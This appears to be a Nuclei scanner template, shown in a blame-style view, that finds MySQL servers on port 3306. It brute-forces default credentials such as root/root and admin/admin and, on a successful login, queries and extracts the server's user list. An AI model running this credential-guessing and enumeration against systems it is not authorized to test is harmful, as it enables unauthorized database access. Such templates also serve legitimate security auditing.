2024-03-09 14:23:42 +00:00
|
|
|
id: mysql-user-enum
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: MySQL - User Enumeration
|
|
|
|
author: pussycat0x
|
|
|
|
severity: high
|
|
|
|
description: |
|
2024-03-23 09:28:19 +00:00
|
|
|
Attempts to list all users on a MySQL server.
|
2024-03-09 14:23:42 +00:00
|
|
|
reference:
|
|
|
|
- https://nmap.org/nsedoc/scripts/mysql-users.html
|
|
|
|
metadata:
|
|
|
|
verified: true
|
2024-03-23 09:28:19 +00:00
|
|
|
max-request: 16
|
|
|
|
shodan-query: "port:3306"
|
2024-03-22 10:10:06 +00:00
|
|
|
tags: js,mysql,network,enum
|
2024-07-10 12:08:01 +00:00
|
|
|
|
2024-03-09 14:23:42 +00:00
|
|
|
javascript:
|
2024-07-10 12:08:01 +00:00
|
|
|
- pre-condition: |
|
|
|
|
isPortOpen(Host,Port);
|
|
|
|
code: |
|
2024-03-09 14:23:42 +00:00
|
|
|
let m = require('nuclei/mysql');
|
|
|
|
let c = m.MySQLClient();
|
|
|
|
let response = c.ExecuteQuery(Host,Port,User,Pass,Query);
|
2024-03-09 18:32:19 +00:00
|
|
|
Export(response);
|
2024-03-09 14:23:42 +00:00
|
|
|
|
|
|
|
args:
|
|
|
|
Host: "{{Host}}"
|
|
|
|
Port: "3306"
|
|
|
|
Query: "SELECT DISTINCT user FROM mysql.user;"
|
|
|
|
User: "{{usernames}}"
|
|
|
|
Pass: "{{passwords}}"
|
|
|
|
|
|
|
|
payloads:
|
2024-03-22 10:10:06 +00:00
|
|
|
usernames:
|
|
|
|
- root
|
|
|
|
- admin
|
|
|
|
- mysql
|
2024-03-22 14:11:12 +00:00
|
|
|
- test
|
2024-03-22 10:10:06 +00:00
|
|
|
passwords:
|
|
|
|
- root
|
|
|
|
- admin
|
2024-03-22 14:11:12 +00:00
|
|
|
- mysql
|
|
|
|
- test
|
2024-03-22 10:10:06 +00:00
|
|
|
attack: clusterbomb
|
2024-03-09 14:23:42 +00:00
|
|
|
|
2024-03-22 10:10:06 +00:00
|
|
|
stop-at-first-match: true
|
2024-03-09 14:23:42 +00:00
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- "success == true"
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: json
|
|
|
|
part: response
|
|
|
|
json:
|
2024-03-23 09:23:23 +00:00
|
|
|
- '.Rows[].user'
|
2024-07-10 12:45:27 +00:00
|
|
|
# digest: 4a0a0047304502207ee186539b23e1011c6c06e795e9d29565f03dd10a8c64d5e7eccfd234ab3c1a022100b3912d95b97e95a84d7c541ecab9af2278ba746f234f55032e0788084ad87629:922c64590222798bb761d5b6d8e72950
|